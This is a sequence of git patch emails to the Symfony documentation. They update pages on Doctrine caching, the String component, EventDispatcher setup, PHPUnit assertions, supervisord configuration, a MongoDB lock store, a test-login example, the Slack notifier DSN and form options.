Date: Mon, 6 Apr 2020 15:57:03 +0200
Subject: [PATCH 0621/7107] Mention that DoctrineCacheBundle is deprecated

---
 reference/configuration/doctrine.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 774150e2482..5705a50c6ee 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -222,6 +222,13 @@ Keep in mind that you can't use both syntaxes at the same time.
 Caching Drivers
 ~~~~~~~~~~~~~~~
 
+.. deprecated:: 4.4
+
+    All the Doctrine caching types are deprecated since Symfony 4.4 and won't
+    be available in Symfony 5.0 and higher. Replace them with either ``type: service``
+    or ``type: pool`` and use any of the cache pools/services defined with
+    :doc:`Symfony Cache </cache>`.
+
 The built-in types of caching drivers are: ``array``, ``apc``, ``apcu``,
 ``memcache``, ``memcached``, ``redis``, ``wincache``, ``zenddata`` and ``xcache``.
 There is a special type called ``service`` which lets you define the ID of your

From e4c78c9a4a0f198b7d1ae630502acbcc6c513b47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Apr 2020 16:29:15 +0200
Subject: [PATCH 0622/7107] Update the metadata_update_threshold description

---
 reference/configuration/framework.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index d09cf59c23f..4321d168e3a 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1024,12 +1024,9 @@ setting the value to ``null``:
 
 **type**: ``integer`` **default**: ``0``
 
-This is how many seconds to wait between updating/writing the session metadata. This
-can be useful if, for some reason, you want to limit the frequency at which the
-session persists.
-
-Starting in Symfony 3.4, session data is *only* written when the session data has
-changed. Previously, you needed to set this option to avoid that behavior.
+This is how many seconds to wait between updating/writing the session metadata.
+This can be useful if, for some reason, you want to limit the frequency at which
+the session persists, instead of doing that on every request.
 
 .. _reference-session-enabled:
 

From 0dc5efcd698eb1a3afcade0be727c0255bc05f71 Mon Sep 17 00:00:00 2001
From: Felix SOEDJEDE <soefelix@gmail.com>
Date: Tue, 7 Apr 2020 10:38:40 +0200
Subject: [PATCH 0623/7107] [Contributing] Fix `trigger_error()` position in
 deprecated class

The code was added in commit: https://github.com/symfony/symfony-docs/commit/a2c04e717d7e70b485ef1a62fb5231e71add3ee2

The change introducing the issue was added in the PR: https://github.com/symfony/symfony-docs/pull/12075
---
 contributing/code/conventions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 7099ace5db5..05dff1ebf61 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -129,7 +129,7 @@ the Web Debug Toolbar or by the PHPUnit bridge).
 .. _`@-silencing operator`: https://php.net/manual/en/language.operators.errorcontrol.php
 
 When deprecating a whole class the ``trigger_error()`` call should be placed
-between the namespace and the use declarations, like in this example from
+after the use declarations, like in this example from
 `ServiceRouterLoader`_::
 
     namespace Symfony\Component\Routing\Loader\DependencyInjection;

From 980a7166f9ffc48901ffae75bcaafcf28dd50806 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 7 Apr 2020 11:47:17 +0200
Subject: [PATCH 0624/7107] [String] Document the bytesAt() method

---
 components/string.rst | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/components/string.rst b/components/string.rst
index 3db3a5df851..1a06c5ad69f 100644
--- a/components/string.rst
+++ b/components/string.rst
@@ -145,6 +145,16 @@ Each string object can be transformed into the other two types of objects::
 If the conversion is not possible for any reason, you'll get an
 :class:`Symfony\\Component\\String\\Exception\\InvalidArgumentException`.
 
+There is also a method to get the bytes stored at some position::
+
+    // ('नमस्ते' bytes = [224, 164, 168, 224, 164, 174, 224, 164, 184,
+    //                  224, 165, 141, 224, 164, 164, 224, 165, 135])
+    b('नमस्ते')->bytesAt(0);   // [224]
+    u('नमस्ते')->bytesAt(0);   // [224, 164, 168]
+
+    b('नमस्ते')->bytesAt(1);   // [168]
+    u('नमस्ते')->bytesAt(1);   // [224, 164, 184, 224, 165, 141]
+
 Methods Related to Length and White Spaces
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -367,12 +377,6 @@ These methods are only available for ``ByteString`` objects::
     b('Lorem Ipsum')->isUtf8(); // true
     b("\xc3\x28")->isUtf8();    // false
 
-    // returns the value of the byte stored at the given position
-    // ('नमस्ते' bytes = [224, 164, 168, 224, 164, 174, 224, 164, 184,
-    //                  224, 165, 141, 224, 164, 164, 224, 165, 135])
-    b('नमस्ते')->byteCode(0);  // 224
-    b('नमस्ते')->byteCode(17); // 135
-
 Methods Added by CodePointString and UnicodeString
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 577993aae5247d2f0e0109d3ad1c66177e442436 Mon Sep 17 00:00:00 2001
From: Felix SOEDJEDE <soefelix@gmail.com>
Date: Wed, 8 Apr 2020 17:18:30 +0200
Subject: [PATCH 0625/7107] [EventDispatcher] Fix position of
 `AddEventAliasesPass`

In the note following the change, it's written : Note that ``AddEventAliasesPass`` has to be processed before ``RegisterListenersPass``.
But in the code it was the inverse
---
 components/event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 19b3b367d47..2b662f6babf 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -235,10 +235,10 @@ determine which instance is passed.
         use Symfony\Component\EventDispatcher\EventDispatcher;
 
         $containerBuilder = new ContainerBuilder(new ParameterBag());
-        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING);
         $containerBuilder->addCompilerPass(new AddEventAliasesPass([
             \AcmeFooActionEvent::class => 'acme.foo.action',
         ]));
+        $containerBuilder->addCompilerPass(new RegisterListenersPass(), PassConfig::TYPE_BEFORE_REMOVING)
 
         $containerBuilder->register('event_dispatcher', EventDispatcher::class);
 

From e4d8c27c20816b681ac5240a92cd5cd45a588dea Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wkania@davinci-studio.eu>
Date: Wed, 8 Apr 2020 18:29:31 +0200
Subject: [PATCH 0626/7107] [Testing] Change deprecated assertContains to
 assertStringContainsString

---
 console.rst                       | 2 +-
 create_framework/unit_testing.rst | 4 ++--
 testing.rst                       | 4 ++--
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/console.rst b/console.rst
index 8b7b38b0d46..ffc981961aa 100644
--- a/console.rst
+++ b/console.rst
@@ -356,7 +356,7 @@ console::
 
             // the output of the command in the console
             $output = $commandTester->getDisplay();
-            $this->assertContains('Username: Wouter', $output);
+            $this->assertStringContainsString('Username: Wouter', $output);
 
             // ...
         }
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 099ada7e704..a4d6d401c33 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -49,7 +49,7 @@ resolver. Modify the framework to make use of them::
     namespace Simplex;
 
     // ...
-    
+
     use Calendar\Controller\LeapYearController;
     use Symfony\Component\HttpKernel\Controller\ArgumentResolverInterface;
     use Symfony\Component\HttpKernel\Controller\ControllerResolverInterface;
@@ -183,7 +183,7 @@ Response::
         $response = $framework->handle(new Request());
 
         $this->assertEquals(200, $response->getStatusCode());
-        $this->assertContains('Yep, this is a leap year!', $response->getContent());
+        $this->assertStringContainsString('Yep, this is a leap year!', $response->getContent());
     }
 
 In this test, we simulate a route that matches and returns a simple
diff --git a/testing.rst b/testing.rst
index a74ef6b4325..40b08c0f98d 100644
--- a/testing.rst
+++ b/testing.rst
@@ -270,7 +270,7 @@ Or test against the response content directly if you just want to assert that
 the content contains some text or in case that the response is not an XML/HTML
 document::
 
-    $this->assertContains(
+    $this->assertStringContainsString(
         'Hello World',
         $client->getResponse()->getContent()
     );
@@ -316,7 +316,7 @@ document::
         );
 
         // asserts that the response content contains a string
-        $this->assertContains('foo', $client->getResponse()->getContent());
+        $this->assertStringContainsString('foo', $client->getResponse()->getContent());
         // ...or matches a regex
         $this->assertRegExp('/foo(bar)?/', $client->getResponse()->getContent());
 

From f48788f929efc7e0a1615e0b235dfb205df3b19b Mon Sep 17 00:00:00 2001
From: OrangeVinz <orangevinz@gmail.com>
Date: Wed, 8 Apr 2020 19:20:31 +0200
Subject: [PATCH 0627/7107] Avoid Supervisord to go in fatal error
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

`startsecs`: The total number of seconds which the program needs to stay running after a startup to consider the start successful (moving the process from the `STARTING` state to the `RUNNING` state).
Set to 0 to indicate that the program needn’t stay running for any particular amount of time.

Default : 1

It means that if you have a `--limit=1` and your program has finished before 1 second, Supervisord will consider it failed.
After 3 times (cf `startretries` value), your process wo'nt run anymore considering too many errors, quicky.

Apparently it's a good pratice to set this value to `0`, specially with php.

Doc : http://supervisord.org/configuration.html?highlight=startsecs
---
 messenger.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/messenger.rst b/messenger.rst
index 2cda0efe8b4..e6974ccbbf3 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -619,6 +619,7 @@ times:
     command=php /path/to/your/app/bin/console messenger:consume async --time-limit=3600
     user=ubuntu
     numprocs=2
+    startsecs=0
     autostart=true
     autorestart=true
     process_name=%(program_name)s_%(process_num)02d

From 6d7a969356caf8d9e1203c9be03e372b333a8592 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 9 Apr 2020 11:18:12 +0200
Subject: [PATCH 0628/7107] [Testing] Fixed the description of
 assertSelectorTextContains()

---
 testing.rst | 16 ++++------------
 1 file changed, 4 insertions(+), 12 deletions(-)

diff --git a/testing.rst b/testing.rst
index c475d82cc8b..c0f68bc8e4c 100644
--- a/testing.rst
+++ b/testing.rst
@@ -212,9 +212,10 @@ Now you can use CSS selectors with the crawler. To assert that the phrase
 
     $this->assertSelectorTextContains('html h1.title', 'Hello World');
 
-This assertion will internally call ``$crawler->filter('html h1.title')``, which allows
-you to use CSS selectors to filter any HTML element in the page and check for
-its existence, attributes, text, etc.
+This assertion checks if the first element matching the CSS selector contains
+the given text. This asserts calls ``$crawler->filter('html h1.title')``
+internally, which allows you to use CSS selectors to filter any HTML element in
+the page and check for its existence, attributes, text, etc.
 
 The ``assertSelectorTextContains`` method is not a native PHPUnit assertion and is
 available thanks to the ``WebTestCase`` class.
@@ -223,15 +224,6 @@ available thanks to the ``WebTestCase`` class.
 
     The ``WebTestCase`` assertions were introduced in Symfony 4.3
 
-.. seealso::
-
-    Using native PHPUnit methods, the same assertion would look like this::
-
-        $this->assertGreaterThan(
-            0,
-            $crawler->filter('html h1.title:contains("Hello World")')->count()
-        );
-
 The crawler can also be used to interact with the page. Click on a link by first
 selecting it with the crawler using either an XPath expression or a CSS selector,
 then use the client to click on it::

From 31f99fead927738d20c5220a123b37b5141fd1d7 Mon Sep 17 00:00:00 2001
From: Son Tung PHAM <38593523+tungps0811@users.noreply.github.com>
Date: Mon, 6 Apr 2020 22:28:18 +0200
Subject: [PATCH 0629/7107] Update definitions.rst

Addition of function 'setArgument'
---
 service_container/definitions.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/service_container/definitions.rst b/service_container/definitions.rst
index 5e74bef8ec9..f4d82d776d2 100644
--- a/service_container/definitions.rst
+++ b/service_container/definitions.rst
@@ -89,6 +89,10 @@ fetched from the container::
 
     // gets a specific argument
     $firstArgument = $definition->getArgument(0);
+    
+    // adds a new argument with the name of the argument
+    // $argumentName = the name of the argument in the constructor
+    $argument = $definition->setArgument('$argumentName', $argumentValue);
 
     // adds a new argument
     $definition->addArgument($argument);
@@ -96,7 +100,7 @@ fetched from the container::
     // replaces argument on a specific index (0 = first argument)
     $definition->replaceArgument($index, $argument);
 
-    // replace all previously configured arguments with the passed array
+    // replaces all previously configured arguments with the passed array
     $definition->setArguments($arguments);
 
 .. caution::

From 11c6c01ac97e32ec8fb0fb9841cfbe9b9196cc73 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 10 Apr 2020 15:28:07 +0200
Subject: [PATCH 0630/7107] Updated the Doctrine cache examples

---
 reference/configuration/doctrine.rst | 44 +++++++++++++++-------------
 1 file changed, 23 insertions(+), 21 deletions(-)

diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 5705a50c6ee..9579ff7217b 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -222,33 +222,35 @@ Keep in mind that you can't use both syntaxes at the same time.
 Caching Drivers
 ~~~~~~~~~~~~~~~
 
-.. deprecated:: 4.4
-
-    All the Doctrine caching types are deprecated since Symfony 4.4 and won't
-    be available in Symfony 5.0 and higher. Replace them with either ``type: service``
-    or ``type: pool`` and use any of the cache pools/services defined with
-    :doc:`Symfony Cache </cache>`.
-
-The built-in types of caching drivers are: ``array``, ``apc``, ``apcu``,
-``memcache``, ``memcached``, ``redis``, ``wincache``, ``zenddata`` and ``xcache``.
-There is a special type called ``service`` which lets you define the ID of your
-own caching service.
-
-The following example shows an overview of the caching configurations:
+Use any of the existing :doc:`Symfony Cache </cache>` pools or define new pools
+to cache each of Doctrine ORM elements (queries, results, etc.):
 
 .. code-block:: yaml
 
+    # config/packages/prod/doctrine.yaml
+    framework:
+        cache:
+            pools:
+                doctrine.result_cache_pool:
+                    adapter: cache.app
+                doctrine.system_cache_pool:
+                    adapter: cache.system
+
     doctrine:
         orm:
-            auto_mapping: true
-            # each caching driver type defines its own config options
-            metadata_cache_driver: apc
+            # ...
+            metadata_cache_driver:
+                type: pool
+                pool: doctrine.system_cache_pool
+            query_cache_driver:
+                type: pool
+                pool: doctrine.system_cache_pool
             result_cache_driver:
-                type: memcache
-                host: localhost
-                port: 11211
-                instance_class: Memcache
-            # the 'service' type requires to define the 'id' option too
+                type: pool
+                pool: doctrine.result_cache_pool
+
+            # in addition to Symfony Cache pools, you can also use the
+            # 'type: service' option to use any service as the cache
             query_cache_driver:
                 type: service
                 id: App\ORM\MyCacheService

From b29335a26f3647b34184b6bfad7de8dfbc1e84bf Mon Sep 17 00:00:00 2001
From: Artem Lopata <biozshock@gmail.com>
Date: Fri, 10 Apr 2020 18:58:12 +0200
Subject: [PATCH 0631/7107] RepeatedType overrides `mapped` value for the type
 to work properly

---
 reference/forms/types/repeated.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index f3ac4242a91..91b27807d87 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -98,6 +98,11 @@ shown to the user.
 The ``invalid_message`` is used to customize the error that will
 be displayed when the two fields do not match each other.
 
+.. note::
+
+    The ``mapped`` option is always ``true`` for both fields in order for the type
+    to work properly.
+
 Field Options
 -------------
 

From 934401f99b0d666cc955790bc121a17aad5eb9f6 Mon Sep 17 00:00:00 2001
From: Joe Bennett <joe@assimtech.com>
Date: Sat, 11 Apr 2020 19:24:34 +1000
Subject: [PATCH 0632/7107] #27345 Added MongoDB Lock documentation

---
 components/lock.rst | 117 ++++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 114 insertions(+), 3 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index aa7266119f6..dec0cb015b2 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -220,6 +220,7 @@ Store                                         Scope   Blocking  Expiring
 ============================================  ======  ========  ========
 :ref:`FlockStore <lock-store-flock>`          local   yes       no
 :ref:`MemcachedStore <lock-store-memcached>`  remote  no        yes
+:ref:`MongoDbStore <lock-store-mongodb>`      remote  no        yes
 :ref:`PdoStore <lock-store-pdo>`              remote  no        yes
 :ref:`RedisStore <lock-store-redis>`          remote  no        yes
 :ref:`SemaphoreStore <lock-store-semaphore>`  local   yes       no
@@ -269,6 +270,68 @@ support blocking, and expects a TTL to avoid stalled locks::
 
 .. _lock-store-pdo:
 
+.. _lock-store-mongodb:
+
+MongoDbStore
+~~~~~~~~~~~~
+
+.. versionadded:: 5.1
+
+    The ``MongoDbStore`` was introduced in Symfony 5.1.
+
+The MongoDbStore saves locks on a MongoDB server ``>=2.2``, it requires a
+``\MongoDB\Collection`` or ``\MongoDB\Client`` from `mongodb/mongodb`_ or a
+`MongoDB Connection String`_.
+This store does not support blocking and expects a TTL to
+avoid stalled locks::
+
+    use Symfony\Component\Lock\Store\MongoDbStore;
+
+    $mongo = 'mongodb://localhost/database?collection=lock';
+    $options = [
+        'gcProbablity' => 0.001,
+        'database' => 'myapp',
+        'collection' => 'lock',
+        'uriOptions' => [],
+        'driverOptions' => [],
+    ];
+    $store = new MongoDbStore($mongo, $options);
+
+The ``MongoDbStore`` takes the following ``$options`` (depending on the first parameter type):
+
+=============  ================================================================================================
+Option         Description
+=============  ================================================================================================
+gcProbablity   Should a TTL Index be created expressed as a probability from 0.0 to 1.0 (Defaults to ``0.001``)
+database       The name of the database
+collection     The name of the collection
+uriOptions     Array of uri options for `MongoDBClient::__construct`_
+driverOptions  Array of driver options for `MongoDBClient::__construct`_
+=============  ================================================================================================
+
+When the first parameter is a:
+
+``MongoDB\Collection``:
+
+- ``$options['database']`` is ignored
+- ``$options['collection']`` is ignored
+
+``MongoDB\Client``:
+
+- ``$options['database']`` is mandatory
+- ``$options['collection']`` is mandatory
+
+MongoDB Connection String:
+
+- ``$options['database']`` is used otherwise ``/path`` from the DSN, at least one is mandatory
+- ``$options['collection']`` is used otherwise ``?collection=`` from the DSN, at least one is mandatory
+
+.. note::
+
+    The ``collection`` querystring parameter is not part of the `MongoDB Connection String`_ definition.
+    It is used to allow constructing a ``MongoDbStore`` using a `Data Source Name (DSN)`_ without ``$options``.
+
+
 PdoStore
 ~~~~~~~~
 
@@ -403,6 +466,7 @@ Remote Stores
 ~~~~~~~~~~~~~
 
 Remote stores (:ref:`MemcachedStore <lock-store-memcached>`,
+:ref:`MongoDbStore <lock-store-mongodb>`,
 :ref:`PdoStore <lock-store-pdo>`,
 :ref:`RedisStore <lock-store-redis>` and
 :ref:`ZookeeperStore <lock-store-zookeeper>`) use a unique token to recognize
@@ -428,6 +492,7 @@ Expiring Stores
 ~~~~~~~~~~~~~~~
 
 Expiring stores (:ref:`MemcachedStore <lock-store-memcached>`,
+:ref:`MongoDbStore <lock-store-mongodb>`,
 :ref:`PdoStore <lock-store-pdo>` and
 :ref:`RedisStore <lock-store-redis>`)
 guarantee that the lock is acquired only for the defined duration of time. If
@@ -546,6 +611,46 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
     The method ``flush()`` must not be called, or locks should be stored in a
     dedicated Memcached service away from Cache.
 
+MongoDbStore
+~~~~~~~~~~~~
+
+.. caution::
+
+    The locked resource name is indexed in the ``_id`` field of the lock
+    collection. Beware that in MongoDB an indexed field's value can be
+    `a maximum of 1024 bytes in length`_ inclusive of structural overhead.
+
+A TTL index must be used to automatically clean up expired locks.
+Such an index can be created manually:
+
+.. code-block:: javascript
+
+    db.lock.ensureIndex(
+        { "expires_at": 1 },
+        { "expireAfterSeconds": 0 }
+    )
+
+Alternatively, the method ``MongoDbStore::createTtlIndex(int $expireAfterSeconds = 0)``
+can be called once to create the TTL index during database setup. Read more
+about `Expire Data from Collections by Setting TTL`_ in MongoDB.
+
+.. tip::
+
+    ``MongoDbStore`` will attempt to automatically create a TTL index.
+    It's recommended to set constructor option ``gcProbablity = 0.0`` to
+    disable this behavior if you have manually dealt with TTL index creation.
+
+.. caution::
+
+    This store relies on all PHP application and database nodes to have
+    synchronized clocks for lock expiry to occur at the correct time. To ensure
+    locks don't expire prematurely; the lock TTL should be set with enough extra
+    time in ``expireAfterSeconds`` to account for any clock drift between nodes.
+
+``writeConcern``, ``readConcern`` and ``readPreference`` are not specified by
+MongoDbStore meaning the collection's settings will take effect. Read more
+about `Replica Set Read and Write Semantics`_ in MongoDB.
+
 PdoStore
 ~~~~~~~~~~
 
@@ -672,10 +777,16 @@ instance, during the deployment of a new version. Processes with new
 configuration must not be started while old processes with old configuration
 are still running.
 
+.. _`a maximum of 1024 bytes in length`: https://docs.mongodb.com/manual/reference/limits/#Index-Key-Limit
 .. _`ACID`: https://en.wikipedia.org/wiki/ACID
+.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
+.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/src/Connection.php
+.. _`Expire Data from Collections by Setting TTL`: https://docs.mongodb.com/manual/tutorial/expire-data/
 .. _`locks`: https://en.wikipedia.org/wiki/Lock_(computer_science)
-.. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
+.. _`MongoDB Connection String`: https://docs.mongodb.com/manual/reference/connection-string/
+.. _`mongodb/mongodb`: https://packagist.org/packages/mongodb/mongodb
+.. _`MongoDBClient::__construct`: https://docs.mongodb.com/php-library/current/reference/method/MongoDBClient__construct/
 .. _`PDO`: https://www.php.net/pdo
-.. _`Doctrine DBAL Connection`: https://github.com/doctrine/dbal/blob/master/lib/Doctrine/DBAL/Connection.php
-.. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
+.. _`PHP semaphore functions`: https://www.php.net/manual/en/book.sem.php
+.. _`Replica Set Read and Write Semantics`: https://docs.mongodb.com/manual/applications/replication/
 .. _`ZooKeeper`: https://zookeeper.apache.org/

From fb8123aaeed9c2ded7f0ce22368d5b0a44054748 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 11 Apr 2020 20:33:57 +0200
Subject: [PATCH 0633/7107] Fix test login example for 4.4 - 5.0 applications

---
 testing/http_authentication.rst | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index 33bd113d544..158cb2f2cae 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -113,6 +113,9 @@ needs::
         {
             $session = self::$container->get('session');
 
+            // somehow fetch the user (e.g. using the user repository)
+            $user = ...;
+
             $firewallName = 'secure_area';
             // if you don't define multiple connected firewalls, the context defaults to the firewall name
             // See https://symfony.com/doc/current/reference/configuration/security.html#firewall-context
@@ -120,7 +123,7 @@ needs::
 
             // you may need to use a different token class depending on your application.
             // for example, when using Guard authentication you must instantiate PostAuthenticationGuardToken
-            $token = new UsernamePasswordToken('admin', null, $firewallName, ['ROLE_ADMIN']);
+            $token = new UsernamePasswordToken($user, null, $firewallName, $user->getRoles());
             $session->set('_security_'.$firewallContext, serialize($token));
             $session->save();
 

From b64dd02788044bdd354f00c6850bd9a3bb73d644 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 11 Apr 2020 21:47:32 +0200
Subject: [PATCH 0634/7107] [#13171] Some small rewordings

---
 http_cache.rst |  2 --
 security.rst   | 29 ++++++++++++++---------------
 2 files changed, 14 insertions(+), 17 deletions(-)

diff --git a/http_cache.rst b/http_cache.rst
index 56eb066f7eb..4508592c7ec 100644
--- a/http_cache.rst
+++ b/http_cache.rst
@@ -1,8 +1,6 @@
 .. index::
    single: Cache
 
-.. _http-cache:
-
 HTTP Cache
 ==========
 
diff --git a/security.rst b/security.rst
index 84ca40162f7..9f30b2abfdd 100644
--- a/security.rst
+++ b/security.rst
@@ -293,11 +293,10 @@ accidentally block Symfony's dev tools - which live under URLs like ``/_profiler
 and ``/_wdt``.
 
 All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs).
-A firewall can have many modes of authentication, in other words many ways to
-ask the question "Who are you?".
-It is convenient to first let users answer "I'm no one in particular, just a
-visitor as any other", this mode is ``anonymous``.
+it matches *all* URLs). A firewall can have many modes of authentication,
+in other words many ways to ask the question "Who are you?". Often, the
+user is unknown (i.e. not logged in) when they first visit your website. The
+``anonymous`` mode, if enabled, is used for these requests.
 
 In fact, if you go to the homepage right now, you *will* have access and you'll
 see that you're "authenticated" as ``anon.``. The firewall verified that it
@@ -306,21 +305,21 @@ does not know your identity, and so, you are anonymous:
 .. image:: /_images/security/anonymous_wdt.png
    :align: center
 
-It means any request can have an anonymous token to access some resource, while
-some actions (i.e. some pages or buttons) can still require some privileges.
-A request can then access a form login without being authenticated as a unique
-user (otherwise an infinite redirection loop would happen asking the user to
-authenticate while trying to doing so).
+It means any request can have an anonymous token to access some resource,
+while some actions (i.e. some pages or buttons) can still require specific
+privileges. A user can then access a form login without being authenticated
+as a unique user (otherwise an infinite redirection loop would happen
+asking the user to authenticate while trying to doing so).
 
 You'll learn later how to deny access to certain URLs, controllers, or part of
 templates.
 
-.. note::
+.. tip::
 
-    The ``lazy`` anonymous mode prevent the session from being started if there
-    is no need for authorization (i.e. explicit check for a user privilege).
-    This is important to keep requests cacheable (see
-    :ref:`HTTP cache <http-cache>`).
+    The ``lazy`` anonymous mode prevents the session from being started if
+    there is no need for authorization (i.e. explicit check for a user
+    privilege). This is important to keep requests cacheable (see
+    :doc:`/http_cache`).
 
 .. note::
 

From 411b5c2bccb6fcb21c11d09d0d06fb876bd7fa9b Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Sun, 12 Apr 2020 16:02:50 +0200
Subject: [PATCH 0635/7107] Update Slack DSN

---
 notifier.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 7ffcf78dca9..bc66b2d72b3 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -127,7 +127,7 @@ integration with these chat services:
 ==========  ===============================  ============================================
 Service     Package                          DSN
 ==========  ===============================  ============================================
-Slack       ``symfony/slack-notifier``       ``slack://TOKEN@default?channel=CHANNEL``
+Slack       ``symfony/slack-notifier``       ``slack://default/ID``
 Telegram    ``symfony/telegram-notifier``    ``telegram://TOKEN@default?channel=CHAT_ID``
 Mattermost  ``symfony/mattermost-notifier``  ``mattermost://TOKEN@ENDPOINT?channel=CHANNEL``
 RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?channel=CHANNEL``
@@ -142,7 +142,7 @@ Chatters are configured using the ``chatter_transports`` setting:
 .. code-block:: bash
 
     # .env
-    SLACK_DSN=slack://TOKEN@default?channel=CHANNEL
+    SLACK_DSN=slack://default/ID
 
 .. configuration-block::
 

From bcb0c05a9a7552ae115c3230bdfd20d1ce556124 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 12 Apr 2020 16:10:22 +0200
Subject: [PATCH 0636/7107] [#13534] Added versionadded about changed Slack DSN

---
 notifier.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/notifier.rst b/notifier.rst
index bc66b2d72b3..1b9ebc535be 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -135,7 +135,9 @@ RocketChat  ``symfony/rocketchat-notifier``  ``rocketchat://TOKEN@ENDPOINT?chann
 
 .. versionadded:: 5.1
 
-    The Mattermost and RocketChat integrations were introduced in Symfony 5.1.
+    The Mattermost and RocketChat integrations were introduced in Symfony
+    5.1. The Slack DSN changed in Symfony 5.1 to use Slack Incoming
+    Webhooks instead of legacy tokens.
 
 Chatters are configured using the ``chatter_transports`` setting:
 

From a8e429d7e5467c8f0d800c9c767621016df4b9b1 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sun, 12 Apr 2020 16:28:24 +0200
Subject: [PATCH 0637/7107] Fixed yaml extension after conflicts

---
 reference/constraints/Traverse.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/constraints/Traverse.rst b/reference/constraints/Traverse.rst
index 158c554bee9..6bf5d4c5877 100644
--- a/reference/constraints/Traverse.rst
+++ b/reference/constraints/Traverse.rst
@@ -92,7 +92,7 @@ that all have constraints on their properties.
 
     .. code-block:: yaml
 
-        # config/validator/validation.yml
+        # config/validator/validation.yaml
         App\Entity\BookCollection:
             constraints:
                 - Traverse: ~
@@ -170,7 +170,7 @@ disable validating:
 
     .. code-block:: yaml
 
-        # config/validator/validation.yml
+        # config/validator/validation.yaml
         App\Entity\BookCollection:
             constraints:
                 - Traverse: false

From 8b0c09ef9c1bd28ab27bda24128f6a31f04e3062 Mon Sep 17 00:00:00 2001
From: Jules Pietri <heahdude@yahoo.fr>
Date: Sat, 22 Feb 2020 18:25:30 +0100
Subject: [PATCH 0638/7107] [Form] added the "choice_filter" option

---
 reference/forms/types/choice.rst              |  3 +
 .../forms/types/options/choice_filter.rst.inc | 82 +++++++++++++++++++
 2 files changed, 85 insertions(+)
 create mode 100644 reference/forms/types/options/choice_filter.rst.inc

diff --git a/reference/forms/types/choice.rst b/reference/forms/types/choice.rst
index 98fab9bf9b0..fb1df969b9d 100644
--- a/reference/forms/types/choice.rst
+++ b/reference/forms/types/choice.rst
@@ -14,6 +14,7 @@ To use this field, you must specify *either* ``choices`` or ``choice_loader`` op
 +-------------+------------------------------------------------------------------------------+
 | Options     | - `choices`_                                                                 |
 |             | - `choice_attr`_                                                             |
+|             | - `choice_filter`_                                                           |
 |             | - `choice_label`_                                                            |
 |             | - `choice_loader`_                                                           |
 |             | - `choice_name`_                                                             |
@@ -212,6 +213,8 @@ correct types will be assigned to the model.
 
 .. include:: /reference/forms/types/options/choice_attr.rst.inc
 
+.. include:: /reference/forms/types/options/choice_filter.rst.inc
